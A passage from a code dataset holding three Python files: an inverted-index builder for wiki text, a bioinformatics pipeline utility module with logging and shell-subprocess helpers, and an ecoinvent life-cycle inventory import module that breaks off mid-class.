open(self.title_folder + str(self.title_num), 'w+')\n\n self.title = unescape(self.title.lower())\n self.body = unescape(self.body.lower())\n\n self.index_content()\n print(self.cur_doc)\n self.cur_doc += 1\n self.title = \"\"\n self.body = \"\"\n\n def index_content(self):\n # Title, Infobox, Body, Category, Links and References\n title_tokens, body_tokens, references_tokens, category_tokens, infobox_tokens, links_tokens = self.text_preprocessor.process(\n self.title, self.body)\n\n # adding lenghts and storing lengths for each document\n self.lengths.append(\n [len(title_tokens), len(infobox_tokens), len(body_tokens), len(category_tokens), len(links_tokens),\n len(references_tokens)])\n\n self.update_map_with(title_tokens, 1)\n self.update_map_with(infobox_tokens, 2)\n self.update_map_with(body_tokens, 3)\n self.update_map_with(category_tokens, 4)\n self.update_map_with(links_tokens, 5)\n self.update_map_with(references_tokens, 6)\n\n if self.local_postings > self.MAX_LOCAL_POSTINGS:\n self.write_to_file()\n\n def finish_indexing(self):\n if self.local_postings > 0:\n self.write_to_file()\n self.data_file.close()\n self.title_file.close()\n\n doc_info_file = open(self.doc_info_path, \"w+\")\n json.dump({\"lengths\": self.lengths, \"length_sum\": self.length_sum, \"docs\": self.cur_doc,\n \"max_titles\": self.MAX_TITLES}, doc_info_file)\n doc_info_file.close()\n\n token_count = self.merge()\n\n config_file = open(self.config_path, \"w+\")\n json.dump({\"index_path\": self.index_path, \"info_path\": self.info_path}, config_file)\n config_file.close()\n\n stats_file = open(self.stats_path, \"w+\")\n\n index_size = 0\n for file in os.scandir(self.index_path):\n if file.name.startswith(\"temp\"):\n os.remove(os.path.join(self.index_path, file.name))\n elif file.name.startswith(\"index\"):\n index_size += os.path.getsize(file)\n \n stats_file.write(str(index_size) + \"\\n\")\n stats_file.write(str(self.index_num) + \"\\n\")\n stats_file.write(str(token_count) + \"\\n\")\n stats_file.close()\n\n def write_to_file(self):\n # print(\"creating index\" + str(self.index_num) + \"...\")\n file = open(self.index_path + \"temp\" + str(self.temp_num), 'w+')\n\n for tokenid in sorted(self.map.keys()):\n posting_list = str(tokenid)\n for posting in self.map[tokenid]:\n posting_list += \" \" + self.encoder.encode(posting)\n posting_list += '\\n'\n\n file.write(posting_list)\n\n file.close()\n self.temp_num += 1\n\n self.map = defaultdict(lambda: [])\n self.local_postings = 0\n\n def update_map_with(self, tokens, pos):\n\n self.length_sum[pos - 1] += len(tokens)\n\n for token in tokens:\n if not self.map[token]:\n self.map[token] = [[self.cur_doc, 0, 0, 0, 0, 0, 0]]\n self.local_postings += 1\n elif self.map[token][-1][0] != self.cur_doc:\n self.map[token].append([self.cur_doc, 0, 0, 0, 0, 0, 0])\n self.local_postings += 1\n\n self.map[token][-1][pos] += 1\n\n def reset_xmlread(self):\n self.body = \"\"\n self.cur_tag = \"\"\n self.title = \"\"\n\n def merge(self):\n token_count = 0\n postings_len = 0\n\n temp_files = [open(self.index_path + \"temp\" + str(val), 'r') for val in range(self.temp_num)]\n index_file = open(self.index_path + \"index\" + str(self.index_num), \"w+\")\n\n token_min_heap = []\n heapq.heapify(token_min_heap)\n postings = [\"\" for _ in range(self.temp_num)]\n\n for i in range(len(temp_files)):\n line = temp_files[i].readline().split(\" \", 1)\n heapq.heappush(token_min_heap, [line[0], i])\n postings[i] = line[1].rstrip(\"\\n\")\n\n popped = []\n cur_token = token_min_heap[0][0]\n term_range = [[cur_token, \"\"]]\n cur_file = 0\n cur_posting = \"\"\n\n while len(token_min_heap):\n if token_min_heap[0][0] != cur_token:\n index_file.write(cur_token + cur_posting + \"\\n\")\n postings_len += len(cur_token) + len(cur_posting) + 2\n token_count += 1\n cur_posting = \"\"\n if term_range[-1][1] != \"\":\n term_range.append([cur_token, \"\"])\n if postings_len >= self.MAX_INDEX_POSTINGS:\n postings_len = 0\n index_file.close()\n term_range[-1][1] = cur_token\n self.index_num += 1\n index_file = open(self.index_path + \"index\" + str(self.index_num), \"w+\")\n\n popped = heapq.heappop(token_min_heap)\n cur_token = popped[0]\n cur_file = popped[1]\n cur_posting += \" \" + postings[cur_file]\n\n if temp_files[cur_file] is not None:\n line = temp_files[cur_file].readline()\n if line == '':\n temp_files[cur_file].close()\n temp_files[cur_file] = None\n else:\n line = line.split(\" \", 1)\n if len(line) > 1:\n heapq.heappush(token_min_heap, [line[0], cur_file])\n # print(line)\n postings[cur_file] = line[1].rstrip(\"\\n\")\n\n index_file.write(cur_token + \" \" + cur_posting + \"\\n\")\n token_count += 1\n term_range[-1][1] = cur_token\n self.index_num += 1\n index_file.close()\n\n index_info_file = open(self.index_info_path, \"w+\")\n json.dump({\"term_ranges\": term_range, \"index_files_count\": self.index_num}, index_info_file)\n index_info_file.close()\n\n return token_count\n\n\nif __name__ == '__main__':\n index = Index(\"prev_data/data\", \"prev_data/index\", \"prev_data/info\")\n index.start_parsing()\n index.finish_indexing()\n","sub_path":"index_manager.py","file_name":"index_manager.py","file_ext":"py","file_size_in_byte":9954,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"66794060","text":"from contextlib import contextmanager\nfrom copy import deepcopy as dc\nfrom glob import glob\nfrom multiprocessing import cpu_count, Pool\nfrom pandarallel import pandarallel\nfrom typing import Union\nimport argparse\nimport bz2\nimport base64\nimport datetime\nimport functools\nimport glob\nimport gzip\nimport io\nimport json\nimport logging\nimport math\nimport numpy\nimport os\nimport pandas\nimport pysam\nimport re\nimport subprocess\nimport sys\nimport tabix\nimport tempfile\nimport time\nimport warnings\n\n## ------======| LOGGING |======------\n\ndef DefaultLogger(\n\t\tLogFileName: str,\n\t\tLevel: int = logging.DEBUG) -> logging.Logger:\n\t\n\t# Format\n\tFormatter = \"%(asctime)-30s%(levelname)-13s%(funcName)-25s%(message)s\"\n\t\n\t# Compose logger\n\tLogger = logging.getLogger(\"default_logger\")\n\tlogging.basicConfig(level=Level, format=Formatter)\n\t\n\t# Add log file\n\tLogger.handlers = []\n\tLogFile = logging.FileHandler(LogFileName)\n\tLogFile.setLevel(Level)\n\tLogFile.setFormatter(logging.Formatter(Formatter))\n\tLogger.addHandler(LogFile)\n\t\n\t# Return\n\treturn Logger\n\n## ------======| I/O |======------\n\ndef GetContigs(FileBAM: str) -> list: return pysam.AlignmentFile(FileBAM, 'rb').header['SQ']\n\ndef SaveJSON(Data: list, FileName: str) -> None: json.dump(Data, open(FileName, 'w'), indent=4, ensure_ascii=False)\n\ndef GzipCheck(FileName: str) -> bool: return open(FileName, 'rb').read(2).hex() == \"1f8b\"\n\ndef Bzip2Check(FileName: str) -> bool: return open(FileName, 'rb').read(3).hex() == \"425a68\"\n\ndef OpenAnyway(FileName: str,\n\t\tMode: str,\n\t\tLogger: logging.Logger):\n\t\n\ttry:\n\t\tIsGZ = GzipCheck(FileName=FileName)\n\t\tIsBZ2 = Bzip2Check(FileName=FileName)\n\t\treturn gzip.open(FileName, Mode) if IsGZ else (bz2.open(FileName, Mode) if IsBZ2 else open(FileName, Mode))\n\texcept OSError as Err:\n\t\tErrorMessage = f\"Can't open the file '{FileName}' ({Err})\"\n\t\tLogger.error(ErrorMessage)\n\t\traise OSError(ErrorMessage)\n\ndef GenerateFileNames(\n\t\tUnit: dict,\n\t\tOptions: dict) -> dict:\n\t\n\tUnit['OutputDir'] = os.path.join(Options[\"PoolDir\"], Unit['ID'])\n\tIRs = os.path.join(Unit['OutputDir'], \"IRs\")\n\tFileNames = {\n\t\t\"OutputDir\": Unit['OutputDir'],\n\t\t\"IRs\": IRs,\n\t\t\"Log\": os.path.join(Unit['OutputDir'], f\"{Unit['ID']}.pipeline_log.txt\"),\n\t\t\"PrimaryBAM\": os.path.join(IRs, f\"{Unit['ID']}.primary.bam\"),\n\t\t\"PrimaryStats\": os.path.join(Unit['OutputDir'], f\"{Unit['ID']}.primary_stats.txt\"),\n\t\t\"DuplessBAM\": os.path.join(IRs, f\"{Unit['ID']}.dupless.bam\"),\n\t\t\"DuplessMetrics\": os.path.join(Unit['OutputDir'], f\"{Unit['ID']}.md_metrics.txt\"),\n\t\t\"RecalBAM\": os.path.join(Unit['OutputDir'], f\"{Unit['ID']}.final.bam\"),\n\t\t\"CoverageStats\": os.path.join(Unit['OutputDir'], f\"{Unit['ID']}.coverage.txt\"),\n\t\t\"VCF\": os.path.join(Unit['OutputDir'], f\"{Unit['ID']}.unfiltered.vcf\"),\n\t\t\"AnnovarTable\": os.path.join(IRs, f\"{Unit['ID']}.annovar.tsv\"),\n\t\t\"Gff3Table\": os.path.join(IRs, f\"{Unit['ID']}.curebase.tsv\"),\n\t\t\"FilteredXLSX\": os.path.join(Unit['OutputDir'], f\"{Unit['ID']}.AnnoFit.xlsx\")\n\t}\n\treturn FileNames\n\n## ------======| THREADING |======------\n\n@contextmanager\ndef Threading(Name: str,\n\t\tLogger: logging.Logger,\n\t\tThreads: int) -> None:\n\t\n\t# Timestamp\n\tStartTime = time.time()\n\t\n\t# Pooling\n\tpool = Pool(Threads)\n\tyield pool\n\tpool.close()\n\tpool.join()\n\tdel pool\n\t\n\t# Timestamp\n\tLogger.info(f\"{Name} finished on {str(Threads)} threads, summary time - %s\" % (SecToTime(time.time() - StartTime)))\n\n## ------======| SUBPROCESS |======------\n\ndef SimpleSubprocess(\n\t\tName: str,\n\t\tCommand: str,\n\t\tLogger: logging.Logger,\n\t\tCheckPipefail: bool = False,\n\t\tEnv: Union[str, None] = None,\n\t\tAllowedCodes: list = []) -> None:\n\t\n\t# Timestamp\n\tStartTime = time.time()\n\t\n\t# Compose command\n\tCommand = (f\"source {Env}; \" if Env is not None else f\"\") + (f\"set -o pipefail; \" if CheckPipefail else f\"\") + Command\n\tLogger.debug(Command)\n\t\n\t# Shell\n\tShell = subprocess.Popen(Command, shell=True, executable=\"/bin/bash\", stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\tStdout, Stderr = Shell.communicate()\n\tif Shell.returncode != 0 and Shell.returncode not in AllowedCodes:\n\t\tErrorMessages = [\n\t\t\tf\"Command '{Name}' has returned non-zero exit code [{str(Shell.returncode)}]\",\n\t\t\tf\"Command: {Command}\",\n\t\t\tf\"Details: {Stderr.decode('utf-8')}\"\n\t\t\t]\n\t\tfor line in ErrorMessages: Logger.error(line)\n\t\traise OSError(f\"{ErrorMessages[0]}\\n{ErrorMessages[2]}\")\n\tif Shell.returncode in AllowedCodes: Logger.warning(f\"Command '{Name}' has returned ALLOWED non-zero exit code [{str(Shell.returncode)}]\")\n\t\n\t# Timestamp\n\tLogger.info(f\"{Name} - %s\" % (SecToTime(time.time() - StartTime)))\n\t\n\t# Return\n\treturn Stdout[:-1]\n\n## ------======| MISC |======------\n\ndef SecToTime(Sec: float) -> str: return str(datetime.timedelta(seconds=int(Sec)))\n\ndef MultipleTags(Tag: str, List: list, Quoted: bool = True) -> str: return ' '.join([(f\"{Tag} \\\"{str(item)}\\\"\" if Quoted else f\"{Tag} {str(item)}\") for item in List])\n\ndef PrepareGenomeBED(\n\t\tReference: str,\n\t\tGenomeBED: str,\n\t\tLogger: logging.Logger) -> None:\n\t\n\tMODULE_NAME = \"PrepareGenomeBED\"\n\t\n\t# Processing\n\tSimpleSubprocess(\n\t\tName = f\"{MODULE_NAME}.Create\",\n\t\tCommand = \"awk 'BEGIN {FS=\\\"\\\\t\\\"}; {print $1 FS \\\"0\\\" FS $2}' \\\"\" + Reference + \".fai\\\" > \\\"\" + GenomeBED + \"\\\"\",\n\t\tLogger = Logger)\n\ndef MakePipe(\n\t\tName: str,\n\t\tPipelineConfigFile: str,\n\t\tUnitsFile: str) -> tuple:\n\t\n\tMODULE_NAME = \"MakePipe\"\n\t\n\t# Options\n\tCurrentStage = f\"{UnitsFile}.{Name}.backup\"\n\t\n\t# Load data\n\tPipelineConfig = json.load(open(PipelineConfigFile, 'rt'))\n\tif os.path.exists(CurrentStage) and os.path.isfile(CurrentStage):\n\t\tProtocol = json.load(open(CurrentStage, 'rt'))\n\t\twarnings.warn(f\"Resume previously interrupted pipeline from backup '{CurrentStage}'\")\n\telse: Protocol = json.load(open(UnitsFile, 'rt'))\n\t\n\t# Create backup\n\tBackupPossible = True\n\ttry:\n\t\tSaveJSON(Protocol, CurrentStage)\n\texcept:\n\t\twarnings.warn(f\"Backup file '{CurrentStage}' cannot be created. If pipeline is interrupted, changes will not be saved\")\n\t\tBackupPossible = False\n\t\n\t# Return\n\treturn (Protocol, PipelineConfig, CurrentStage, BackupPossible)\n","sub_path":"scripts/SharedFunctions.py","file_name":"SharedFunctions.py","file_ext":"py","file_size_in_byte":5982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"76720537","text":"\"\"\"\nContains class and methods to imports inventories from ecoinvent, premise,\nand those provided by the user.\n\"\"\"\n\nimport csv\nimport itertools\nimport sys\nimport uuid\nfrom functools import lru_cache\nfrom pathlib import Path\nfrom typing import Dict, List, Union\n\nimport bw2io\nimport numpy as np\nimport requests\nimport yaml\nfrom bw2io import CSVImporter, ExcelImporter, Migration\nfrom prettytable import PrettyTable\nfrom wurst import searching as ws\n\nfrom . import DATA_DIR, INVENTORY_DIR\nfrom .clean_datasets import remove_categories, remove_uncertainty\nfrom .data_collection import get_delimiter\nfrom .geomap import Geomap\n\nFILEPATH_MIGRATION_MAP = INVENTORY_DIR / \"migration_map.csv\"\nFILEPATH_CONSEQUENTIAL_BLACKLIST = DATA_DIR / \"consequential\" / \"blacklist.yaml\"\nCORRESPONDENCE_BIO_FLOWS = (\n DATA_DIR / \"utils\" / \"export\" / \"correspondence_biosphere_flows.yaml\"\n)\n\n\ndef get_correspondence_bio_flows():\n \"\"\"\n Mapping between ei39 and ei<39 biosphere flows.\n \"\"\"\n\n with open(CORRESPONDENCE_BIO_FLOWS, \"r\", encoding=\"utf-8\") as stream:\n flows = yaml.safe_load(stream)\n\n return flows\n\n\n@lru_cache\ndef get_biosphere_code(version) -> dict:\n \"\"\"\n Retrieve a dictionary with biosphere flow names and uuid codes.\n :returns: dictionary with biosphere flow names as keys and uuid codes as values\n\n \"\"\"\n if version == \"3.9\":\n fp = DATA_DIR / \"utils\" / \"export\" / \"flows_biosphere_39.csv\"\n else:\n fp = DATA_DIR / \"utils\" / \"export\" / \"flows_biosphere_38.csv\"\n\n if not Path(fp).is_file():\n raise FileNotFoundError(\"The dictionary of biosphere flows could not be found.\")\n\n csv_dict = {}\n\n with open(fp, encoding=\"utf-8\") as file:\n input_dict = csv.reader(\n file,\n delimiter=get_delimiter(filepath=fp),\n )\n for row in input_dict:\n csv_dict[(row[0], row[1], row[2], row[3])] = row[4]\n\n return csv_dict\n\n\ndef get_consequential_blacklist():\n with open(FILEPATH_CONSEQUENTIAL_BLACKLIST, \"r\", encoding=\"utf-8\") as stream:\n flows = yaml.safe_load(stream)\n\n return flows\n\n\n@lru_cache\ndef generate_migration_maps(origin: str, destination: str) -> Dict[str, list]:\n \"\"\"\n Generate mapping for ecoinvent datasets across different database versions.\n :param origin: ecoinvent database version to find equivalence from (e.g., \"3.6\")\n :param destination: ecoinvent database version to find equivalence for (e.g., \"3.8\")\n :return: a migration map dicitonary for bw2io\n \"\"\"\n\n response = {\"fields\": [\"name\", \"reference product\", \"location\"], \"data\": []}\n\n with open(FILEPATH_MIGRATION_MAP, \"r\", encoding=\"utf-8\") as read_obj:\n csv_reader = csv.reader(\n read_obj,\n delimiter=get_delimiter(filepath=FILEPATH_MIGRATION_MAP),\n )\n next(csv_reader)\n for row in csv_reader:\n if row[0] == origin and row[1] == destination:\n data = {}\n if row[5] != \"\":\n data[\"name\"] = row[5]\n if row[6] != \"\":\n data[\"reference product\"] = row[6]\n if row[7] != \"\":\n data[\"location\"] = row[7]\n response[\"data\"].append(((row[2], row[3], row[4]), data))\n\n if row[0] == destination and row[1] == origin:\n data = {}\n if row[2] != \"\":\n data[\"name\"] = row[2]\n if row[3] != \"\":\n data[\"reference product\"] = row[3]\n if row[4] != \"\":\n data[\"location\"] = row[4]\n response[\"data\"].append(((row[5], row[6], row[7]), data))\n\n return response\n\n\ndef check_for_duplicate_datasets(data: List[dict]) -> List[dict]:\n \"\"\"Check whether there are duplicate datasets in the inventory to import.\"\"\"\n datasets = [(ds[\"name\"], ds[\"reference product\"], ds[\"location\"]) for ds in data]\n duplicates = [\n item\n for item, count in itertools.groupby(sorted(datasets))\n if len(list(count)) > 1\n ]\n if duplicates:\n print(\"Duplicate datasets found (they need to be removed):\")\n # print them using prettytable\n table = PrettyTable()\n table.field_names = [\"Name\", \"Reference product\", \"Location\"]\n for duplicate in duplicates:\n table.add_row(duplicate)\n print(table)\n\n # remove duplicates\n duplicates_added = []\n for ds in data:\n if (ds[\"name\"], ds[\"reference product\"], ds[\"location\"]) in duplicates:\n if (\n ds[\"name\"],\n ds[\"reference product\"],\n ds[\"location\"],\n ) not in duplicates_added:\n duplicates_added.append(\n (ds[\"name\"], ds[\"reference product\"], ds[\"location\"])\n )\n else:\n data.remove(ds)\n\n return data\n\n\ndef check_for_datasets_compliance_with_consequential_database(\n datasets: List[dict], blacklist: List[dict]\n):\n \"\"\"\n Check whether the datasets to import are compliant with the consequential database.\n\n :param datasets: list of datasets to import\n :param blacklist: list of datasets that are not in the consequential database\n :return: list of datasets that are compliant with the consequential database\n\n \"\"\"\n # if system model is `consequential`` there is a\n # number of datasets we do not want to import\n\n tuples_of_blacklisted_datasets = [\n (i[\"name\"], i[\"reference product\"], i[\"unit\"]) for i in blacklist\n ]\n\n datasets = [\n d\n for d in datasets\n if (d[\"name\"], d[\"reference product\"], d[\"unit\"])\n not in tuples_of_blacklisted_datasets\n ]\n\n # also, we want to change exchanges that do not\n # exist in the consequential LCA database\n # and change them for the consequential equivalent\n\n for ds in datasets:\n for exchange in ds[\"exchanges\"]:\n if exchange[\"type\"] == \"technosphere\":\n exc_id = (\n exchange[\"name\"],\n exchange.get(\"reference product\"),\n exchange[\"unit\"],\n )\n\n if exc_id in tuples_of_blacklisted_datasets:\n for d in blacklist:\n if exc_id == (d[\"name\"], d.get(\"reference product\"), d[\"unit\"]):\n if \"replacement\" in d:\n exchange[\"name\"] = d[\"replacement\"][\"name\"]\n exchange[\"reference product\"] = d[\"replacement\"][\n \"reference product\"\n ]\n exchange[\"location\"] = d[\"replacement\"][\"location\"]\n\n return datasets\n\n\ndef check_amount_format(database: list) -> list:\n \"\"\"\n Check that the `amount` field is of type `float`.\n :param database: database to check\n :return: database with corrected amount field\n \"\"\"\n\n for dataset in database:\n for exc in dataset[\"exchanges\"]:\n if not isinstance(exc[\"amount\"], float):\n exc[\"amount\"] = float(exc[\"amount\"])\n\n if isinstance(exc[\"amount\"], (np.float64, np.ndarray)):\n exc[\"amount\"] = float(exc[\"amount\"])\n\n for k, v in dataset.items():\n if isinstance(v, dict):\n for i, j in v.items():\n if isinstance(j, (np.float64, np.ndarray)):\n v[i] = float(v[i])\n\n for e in dataset[\"exchanges\"]:\n for k, v in e.items():\n if isinstance(v, (np.float64, np.ndarray)):\n e[k] = float(e[k])\n\n return database\n\n\nclass BaseInventoryImport:\n \"\"\"\n Base class for inventories that are to be merged with the wurst database.\n\n :ivar database: the target database for the import (the ecoinvent database),\n unpacked to a list of dicts\n :ivar version_in: the ecoinvent database version of the inventory to import\n :ivar version_out: the ecoinvent database version the imported inventories\n should comply with\n :ivar path: the filepath of the inventories to import\n\n \"\"\"\n\n def __init__(\n self,\n database: List[dict],\n version_in: str,\n version_out: str,\n path: Union[str, Path],\n system_model: str,\n keep_uncertainty_data: bool = False,\n ) -> None:\n \"\"\"Create a :class:`BaseInventoryImport` instance.\"\"\"\n self.database = database\n self.db_code = [x[\"code\"] for x in self.database]\n self.db_names = [\n (x[\"name\"], x[\"reference product\"], x[\"location\"]) for x in self.database\n ]\n self.version_in = version_in\n self.version_out = version_out\n self.biosphere_dict = get_biosphere_code(self.version_out)\n self.correspondence_bio_flows = get_correspondence_bio_flows()\n self.system_model = system_model\n self.consequential_blacklist = get_consequential_blacklist()\n self.list_unlinked = []\n self.keep_uncertainty_data = keep_uncertainty_data\n\n if \"http\" in str(path):\n r = requests.head(path)\n if r.status_code != 200:\n raise ValueError(\"The file at {} could not be found.\".format(path))\n else:\n if not Path(path).exists():\n raise FileNotFoundError(\n f\"The inventory file {path} could not be found.\"\n )\n\n self.path = Path(path) if isinstance(path, str) else path\n self.import_db = self.load_inventory(path)\n\n # register migration maps\n # as imported inventories link\n # to different ecoinvent versions\n ei_versions = [\"35\", \"36\", \"37\", \"38\", \"39\"]\n\n for combination in itertools.product(ei_versions, ei_versions):\n if combination[0] != combination[1]:\n mapping = generate_migration_maps(combination[0], combination[1])\n if len(mapping[\"data\"]) > 0:\n Migration(f\"migration_{combination[0]}_{combination[1]}\").write(\n mapping,\n description=f\"Change technosphere names due to change from {combination[0]} to {combination[1]}\",\n )\n\n def load_inventory(self, path: Union[str, Path]) -> None:\n \"\"\"Load an inventory from a specified path.\n Sets the :attr:`import_db` attribute.\n :param str path: Path to the inventory file\n :returns: Nothing.\n \"\"\"\n return None\n\n def prepare_inventory(self) -> None:\n \"\"\"Prepare the inventory for the merger with Ecoinvent.\n Modifies :attr:`import_db` in-place.\n :returns: Nothing\n \"\"\"\n\n def check_for_already_existing_datasets(self) -> None:\n \"\"\"\n Check whether the inventories to be imported are not\n already in the source database.\n \"\"\"\n\n # print if we find datasets that already exist\n already_exist = [\n (x[\"name\"].lower(), x[\"reference product\"].lower(), x[\"location\"])\n for x in self.import_db.data\n if x[\"code\"] in self.db_code\n ]\n\n already_exist.extend(\n [\n (x[\"name\"].lower(), x[\"reference product\"].lower(), x[\"location\"])\n for x in self.import_db.data\n if (x[\"name\"].lower(), x[\"reference product\"].lower(), x[\"location\"])\n in self.db_names\n ]\n )\n\n if len(already_exist) > 0:\n print(\n \"The following datasets to import already exist \"\n \"in the source database. \"\n \"They will not be imported\"\n )\n table = PrettyTable([\"Name\", \"Reference product\", \"Location\", \"File\"])\n\n if isinstance(self.path, str):\n name = self.path\n else:\n name = self.path.name\n\n for dataset in already_exist:\n table.add_row([dataset[0][:50], dataset[1][:30], dataset[2], name])\n\n print(table)\n\n self.import_db.data = [\n x for x in self.import_db.data if x[\"code\"] not in self.db_code\n ]\n self.import_db.data = [\n x\n for x in self.import_db.data\n if (x[\"name\"], x[\"reference product\"], x[\"location\"]) not in self.db_names\n ]\n\n def merge_inventory(self) -> List[dict]:\n \"\"\"Prepare :attr:`import_db` and merge the inventory to the ecoinvent :attr:`database`.\n Calls :meth:`prepare_inventory`. Changes the :attr:`database` attribute.\n :returns: Nothing\n \"\"\"\n\n self.prepare_inventory()\n return self.import_db\n\n def search_missing_exchanges(self, label: str, value: str) -> List[dict]:\n \"\"\"\n Return a list of activities for which\n a given exchange cannot be found\n :param label: the label of the field to look for\n :param value: the value of the field to look for\n :return:\n \"\"\"\n\n results = []\n for act in self.import_db.data:\n if (\n len([a for a in act[\"exchanges\"] if label in a and a[label] == value])\n == 0\n ):\n results.append(act)\n\n return results\n\n def search_missing_field(self, field: str, scope: str = \"activity\") -> List[dict]:\n \"\"\"Find exchanges and activities that do not contain a specific field\n in :attr:`imort_db`\n :param str field: label of the field to search for.\n :param scope: \"activity\" or \"all\". whether to search in the activity\n or the activity and its exchanges\n :returns: a list of dictionaries, activities and exchanges\n :rtype: list\n \"\"\"\n results = []\n for act in self.import_db.data:\n if field not in act:\n results.append(act)\n\n if scope == \"all\":\n for ex in act[\"exchanges\"]:\n if ex[\"type\"] == \"technosphere\" and field not in ex:\n results.append(ex)\n return results\n\n def add_product_field_to_exchanges(self) -> None:\n \"\"\"Add the `product` key to the production and\n technosphere exchanges in :attr:`import_db`.\n Also add `code` field if missing.\n For production exchanges, use the value of the `reference_product` field.\n For technosphere exchanges, search the activities in :attr:`import_db` and\n use the reference product. If none is found, search the Ecoinvent :attr:`database`.\n Modifies the :attr:`import_db` attribute in place.\n :raises IndexError: if no corresponding activity (and reference product) can be found.\n \"\"\"\n # Add a `product` field to the production exchange\n for dataset in self.import_db.data:\n for exchange in dataset[\"exchanges\"]:\n if exchange[\"type\"] == \"production\":\n if \"product\" not in exchange:\n exchange[\"product\"] = dataset[\"reference product\"]\n\n if exchange[\"name\"] != dataset[\"name\"]:\n exchange[\"name\"] = dataset[\"name\"]\n\n # Add a `product` field to technosphere exchanges\n for dataset in self.import_db.data:\n for exchange in dataset[\"exchanges\"]:\n if exchange[\"type\"] == \"technosphere\":\n # Check if the field 'product' is present\n if not \"product\" in exchange:\n exchange[\"product\"] = self.correct_product_field(\n (\n exchange[\"name\"],\n exchange[\"location\"],\n exchange[\"unit\"],\n exchange.get(\"reference product\", None),\n )\n )\n\n # If a 'reference product' field is present, we make sure\n # it matches with the new 'product' field\n # if \"reference product\" in y:\n if \"reference product\" in exchange:\n try:\n assert exchange[\"product\"] == exchange[\"reference product\"]\n except AssertionError:\n exchange[\"product\"] = self.correct_product_field(\n (\n exchange[\"name\"],\n exchange[\"location\"],\n exchange[\"unit\"],\n exchange.get(\"reference product\", None),\n )\n )\n\n # Add a `code` field if missing\n for dataset in self.import_db.data:\n if \"code\" not in dataset:\n dataset[\"code\"] = str(uuid.uuid4().hex)\n\n @lru_cache\n def correct_product_field(self, exc: tuple) -> [str, None]:\n \"\"\"\n Find the correct name for the `product` field of the exchange\n :param exc: a dataset exchange\n :return: name of the product field of the exchange\n\n \"\"\"\n # Look first in the imported inventories\n candidate = next(\n ws.get_many(\n self.import_db.data,\n ws.equals(\"name\", exc[0]),\n ws.equals(\"location\", exc[1]),\n ws.equals(\"unit\", exc[2]),\n ),\n None,\n )\n\n # If not, look in the ecoinvent inventories\n if candidate is None:\n if exc[-1] is not None:\n candidate = next(\n ws.get_many(\n self.database,\n ws.equals(\"name\", exc[0]),\n ws.equals(\"location\", exc[1]),\n ws.equals(\"unit\", exc[2]),\n ws.equals(\"reference product\", exc[-1]),\n ),\n None,\n )\n else:\n candidate = next(\n ws.get_many(\n self.database,\n ws.equals(\"name\", exc[0]),\n ws.equals(\"location\", exc[1]),\n ws.equals(\"unit\", exc[2]),\n ),\n None,\n )\n\n if candidate is not None:\n return candidate[\"reference product\"]\n\n self.list_unlinked.append(\n (\n exc[0],\n exc[-1],\n exc[1],\n None,\n exc[2],\n \"technosphere\",\n self.path.name,\n )\n )\n\n return None\n\n def add_biosphere_links(self, delete_missing: bool = False) -> None:\n \"\"\"Add links for biosphere exchanges to :attr:`import_db`\n Modifies the :attr:`import_db` attribute in place.\n\n :param delete_missing: whether unlinked exchanges should be deleted or not.\n \"\"\"\n for x in self.import_db.data:\n for y in x[\"exchanges\"]:\n if y[\"type\"] == \"biosphere\":\n if isinstance(y[\"categories\"], str):\n y[\"categories\"] = tuple(y[\"categories\"].split(\"::\"))\n\n if len(y[\"categories\"]) > 1:\n key = (\n y[\"name\"],\n y[\"categories\"][0],\n y[\"categories\"][1],\n y[\"unit\"],\n )\n else:\n key = (\n y[\"name\"],\n y[\"categories\"][0].strip(),\n \"unspecified\",\n y[\"unit\"],\n )\n\n if key not in self.biosphere_dict:\n if self.correspondence_bio_flows.get(key[1], {}).get(key[0]):\n new_key = list(key)\n new_key[0] = self.correspondence_bio_flows[key[1]][key[0]]\n key = tuple(new_key)\n assert (\n key in self.biosphere_dict\n ), f\"Could not find a biosphere flow for {key}.\"\n y[\"name\"] = new_key[0]\n else:\n print(key)\n continue\n\n y[\"input\"] = (\n \"biosphere3\",\n self.biosphere_dict[key],\n )\n\n def lower_case_technosphere_exchanges(self) -> None:\n blakclist = [\n \"NOx\",\n \"SOx\",\n \"N-\",\n \"EUR\",\n ]\n\n for ds in self.import_db.data:\n # lower case name and reference product\n if not any([x in ds[\"name\"] for x in blakclist]):\n ds[\"name\"] = ds[\"name\"][0].lower() + ds[\"name\"][1:]\n if not any([x in ds[\"reference product\"] for x in blakclist]):\n ds[\"reference product\"] = (\n ds[\"reference product\"][0].lower() + ds[\"reference product\"][1:]\n )\n\n for exc in ds[\"exchanges\"]:\n if exc[\"type\"] in [\"technosphere\", \"production\"]:\n if not any([x in exc[\"name\"] for x in blakclist]):\n exc[\"name\"] = exc[\"name\"][0].lower() + exc[\"name\"][1:]\n\n if not any(\n [x in exc.get(\"reference product\", \"\") for x in blakclist]\n ):\n if exc.get(\"reference product\") is not None:\n exc[\"reference product\"] = (\n exc[\"reference product\"][0].lower()\n + exc[\"reference product\"][1:]\n )\n\n if not any([x in exc.get(\"product\", \"\") for x in blakclist]):\n if exc.get(\"product\") is not None:\n exc[\"product\"] = (\n exc[\"product\"][0].lower() + exc[\"product\"][1:]\n )\n\n def remove_ds_and_modifiy_exchanges(self, name: str, ex_data: dict) -> None:\n \"\"\"\n Remove an activity dataset from :attr:`import_db` and replace the corresponding\n technosphere exchanges by what is given as second argument.\n :param str name: name of activity to be removed\n :param dict ex_data: data to replace the corresponding exchanges\n :returns: Nothing\n \"\"\"\n\n self.import_db.data = [\n act for act in self.import_db.data if not act[\"name\"] == name\n ]\n\n for act in self.import_db.data:\n for ex in act[\"exchanges\"]:\n if ex[\"type\"] == \"technosphere\" and ex[\"name\"] == name:\n ex.update(ex_data)\n # make sure there is no existing link\n if \"input\" in ex:\n del ex[\"input\"]\n\n # Delete any field that does not have information\n for key in act:\n if act[key] is None:\n act.pop(key)\n\n def display_unlinked_exchanges(self):\n \"\"\"\n Display the list of unlinked exchanges\n using prettytable\n \"\"\"\n print(\"List of unlinked exchanges:\")\n\n table = PrettyTable()\n table.field_names = [\n \"Name\",\n \"Reference product\",\n \"Location\",\n \"Categories\",\n \"Unit\",\n \"Type\",\n \"File\",\n ]\n table.add_rows(list(set(self.list_unlinked)))\n print(table)\n\n\nclass DefaultInventory(BaseInventoryImport):\n \"\"\"\n Importing class. Inherits from :class:`BaseInventoryImport`.\n\n \"\"\"\n\n def __init__(\n 